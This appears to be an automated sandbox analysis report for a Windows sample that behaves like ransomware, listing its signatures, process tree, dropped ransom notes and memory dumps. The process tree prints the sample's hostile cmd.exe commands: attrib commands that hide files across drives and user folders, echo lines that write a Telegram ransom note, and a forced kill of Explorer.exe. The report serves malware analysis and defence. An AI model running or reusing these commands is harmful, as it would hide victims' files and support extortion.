Analysis

  • user interaction
    yes
  • max time kernel
    43s
  • max time network
    26s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/10/2026, 12:10

General

  • Target
    9jRyGEZ8mt1v2PK.exe
  • Size 2.4MB
  • Sample261001-pb8lssbd79
  • SHA256 8b441ab4f1a25fae9a46db53b17d64cab7293ca710b202ba1a96c5c826737bde
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 11 IoCs
  • Drops desktop.ini file(s) 12 IoCs
  • Enumerates connected drives 3 TTPs 6 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 12 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Program crash 3 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Views/modifies file attributes 1 TTPs 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9jRyGEZ8mt1v2PK.exe
    "C:\Users\Admin\AppData\Local\Temp\9jRyGEZ8mt1v2PK.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:988
    • C:\Users\Admin\AppData\Local\Temp\9jRyGEZ8mt1v2PK.exe
      "C:\Users\Admin\AppData\Local\Temp\9jRyGEZ8mt1v2PK.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4024
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        3⤵
        • Enumerates connected drives
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5720
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          4⤵
          • Enumerates connected drives
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4084
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          4⤵
          • Enumerates connected drives
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4836
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2772
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          4⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4612
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1300
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2584
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          4⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4588
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:568
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4644
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          4⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1920
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4404
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1880
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          4⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5360
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4136
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4780
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2760
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:3856
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill.exe /im Explorer.exe /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5016
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c F: & attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
        3⤵
        • Enumerates connected drives
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4392
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h -s -r -i /D
          4⤵
          • Enumerates connected drives
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1332
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s -r desktop.ini
          4⤵
          • Enumerates connected drives
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4380
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:436
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h -s -r -i /D
          4⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1772
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s -r desktop.ini
          4⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:3524
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2056
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h -s -r -i /D
          4⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:6012
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s -r desktop.ini
          4⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:3372
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\downloads"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4132
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h -s -r -i /D
          4⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:3040
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s -r desktop.ini
          4⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5780
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\documents"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4192
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h -s -r -i /D
          4⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5544
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s -r desktop.ini
          4⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5284
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2688
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h -s -r -i /D
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4080
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s -r desktop.ini
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1476
  • C:\Users\Public\Documents\9jRyGEZ8mt1v2PK.exe
    C:\Users\Public\Documents\9jRyGEZ8mt1v2PK.exe
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    PID:1232
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1232 -s 900
      2⤵
      • Program crash
      PID:5172
  • C:\Users\Admin\AppData\Local\Temp\9jRyGEZ8mt1v2PK.exe
    "C:\Users\Admin\AppData\Local\Temp\9jRyGEZ8mt1v2PK.exe"
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    PID:4036
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4036 -s 884
      2⤵
      • Program crash
      PID:2856
  • C:\Users\Admin\AppData\Local\Temp\9jRyGEZ8mt1v2PK.exe
    "C:\Users\Admin\AppData\Local\Temp\9jRyGEZ8mt1v2PK.exe" -startup
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    PID:2952
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2952 -s 872
      2⤵
      • Program crash
      PID:4540
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 1232 -ip 1232
    1⤵
      PID:4460
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4036 -ip 4036
      1⤵
        PID:5656
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 2952 -ip 2952
        1⤵
          PID:264

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              9jRyGEZ8mt1v2PK.exe

              • Path C:\Users\Admin\AppData\Local\Temp\9jRyGEZ8mt1v2PK.exe
              • Size 2.4MB
              • SHA256 8b441ab4f1a25fae9a46db53b17d64cab7293ca710b202ba1a96c5c826737bde
              • MD5 SHA1 SHA512 SSDEEP TLSH

              info-Locker.txt

              • Path C:\Users\Admin\Desktop\info-Locker.txt
              • Size 83B
              • SHA256 f9a108420af8aed0987e953eaad10eccfa0bfe55fb3f8e38fe7590b7e33fd8b3
              • MD5 SHA1 SHA512 TLSH

              info-Locker.txt

              • Path F:\info-Locker.txt
              • Size 83B
              • SHA256 915f81b7c66ae55830b751b9dd5799ff56f23f1570cb09965756c059ed6f7d6d
              • MD5 SHA1 SHA512 TLSH

              memory/988-10-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-5-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-24-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-33-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-47-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-45-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-43-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-41-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-39-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-38-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-35-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-31-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-29-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-27-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-25-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-19-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-17-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-13-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-11-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-0-0x00000000744C2000-0x00000000744C3000-memory.dmp

              memory/988-15-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-7-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-21-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-4-0x0000000005D40000-0x0000000005F8E000-memory.dmp

              memory/988-3-0x00000000744B0000-0x0000000074C6C000-memory.dmp

              memory/988-1-0x0000000000D20000-0x0000000000F8A000-memory.dmp

              memory/988-2-0x0000000005D40000-0x0000000005F94000-memory.dmp

              memory/988-52-0x00000000744B0000-0x0000000074C6C000-memory.dmp

              memory/1232-58-0x00000000744B0000-0x0000000074C6C000-memory.dmp

              memory/1232-214-0x00000000744B0000-0x0000000074C6C000-memory.dmp

              memory/1232-212-0x00000000744B0000-0x0000000074C6C000-memory.dmp

              memory/1232-104-0x00000000744B0000-0x0000000074C6C000-memory.dmp

              memory/4024-57-0x00000000053B0000-0x00000000053BA000-memory.dmp

              memory/4024-59-0x00000000055C0000-0x0000000005616000-memory.dmp

              memory/4024-51-0x00000000744B0000-0x0000000074C6C000-memory.dmp

              memory/4024-49-0x0000000000B60000-0x0000000000D9A000-memory.dmp

              memory/4024-105-0x0000000008E50000-0x0000000008EB6000-memory.dmp

              memory/4024-56-0x00000000744B0000-0x0000000074C6C000-memory.dmp

              memory/4024-50-0x0000000005480000-0x000000000551C000-memory.dmp

              memory/4024-211-0x00000000744B0000-0x0000000074C6C000-memory.dmp

              memory/4024-54-0x0000000005520000-0x00000000055B2000-memory.dmp

              memory/4024-213-0x00000000744B0000-0x0000000074C6C000-memory.dmp

              memory/4024-53-0x0000000005AE0000-0x000000000609A000-memory.dmp

              memory/4024-215-0x00000000744B0000-0x0000000074C6C000-memory.dmp